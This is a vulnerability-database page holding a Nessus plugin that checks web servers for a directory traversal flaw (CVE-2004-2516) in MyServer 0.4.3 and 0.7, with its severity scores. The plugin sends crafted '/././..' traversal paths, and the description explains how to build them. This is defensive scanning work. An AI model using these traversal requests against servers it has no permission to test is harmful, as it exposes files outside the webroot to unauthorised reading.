Lucene search

K
nessusAuthor Paul Johnston [email protected], Copyright (C) 2003-2020 Westpoint LtdMYSERVER_TRAVERSAL.NASL
HistorySep 26, 2003 - 12:00 a.m.

MyServer 0.4.3 / 0.7 Crafted Traversal Arbitrary File Access

2003-09-2600:00:00
Author Paul Johnston [email protected], Copyright (C) 2003-2020 Westpoint Ltd
www.tenable.com
8

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.017 Low

EPSS

Percentile

88.0%

This web server is running MyServer <= 0.4.3 or 0.7. This version contains a directory traversal vulnerability, that allows remote users with no authentication to read files outside the webroot.

You have to create a dot-dot URL with the same number of ‘/./’ and ‘/…/’ + 1.

#
# This script was written by Paul Johnston of Westpoint Ltd <[email protected]>
#
# See the Nessus Scripts License for details
#

# Changes by Tenable:
# - Revised plugin title, added VDB refs, changed family (4/20/009)


include("compat.inc");

if(description)
{
 script_id(11851);
 script_version ("1.16");
 script_cve_id("CVE-2004-2516");
 script_bugtraq_id(11189);

 script_name(english:"MyServer 0.4.3 / 0.7 Crafted Traversal Arbitrary File Access");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server is affected by an information disclosure 
vulnerability." );
 script_set_attribute(attribute:"description", value:
"This web server is running MyServer <= 0.4.3 or 0.7. This version 
contains a directory traversal vulnerability, that allows remote users
with no authentication to read files outside the webroot.

You have to create a dot-dot URL with the same number of '/./' and 
'/../' + 1." );
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/vulnwatch/2004/q3/49" );
 script_set_attribute(attribute:"solution", value:
"Upgrade to MyServer 0.7.1 or later." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");


 script_set_attribute(attribute:"plugin_publication_date", value: "2003/09/26");
 script_set_attribute(attribute:"vuln_publication_date", value: "2004/09/15");
 script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();


 summary["english"] = "Attempts to retrieve the path '/././..'";
 script_summary(english:summary["english"]);

 script_category(ACT_ATTACK);
 script_copyright(english:"Author Paul Johnston [email protected], Copyright (C) 2003-2020 Westpoint Ltd");
 script_family(english:"Web Servers");

 script_dependencie("find_service1.nasl", "http_version.nasl");
 script_require_ports("Services/www", 80);

 exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");

port = get_http_port(default:80, embedded:TRUE);

if(!get_port_state(port))exit(0);

# In fact, MyServer 0.7 is also vulnerable to the first URL.
# However, as the bug was supposed to be fixed in 0.4.3 and reappeared in 
# 0.7, I think that checking every avatar is safer.

foreach pattern (make_list("/././..", "././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../"))
{
 req = http_get(item: pattern, port:port);
 res = http_keepalive_send_recv(port:port, data:req);
 if(res == NULL) exit(0);

 if(ereg(pattern:"^HTTP/[0-9]\.[0-9] 200 ", string:res)
    && egrep(pattern:"Contents of folder \.\.", string:res, icase:1))
 {
  security_warning(port);
  exit(0);
 }
}

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.017 Low

EPSS

Percentile

88.0%

Related for MYSERVER_TRAVERSAL.NASL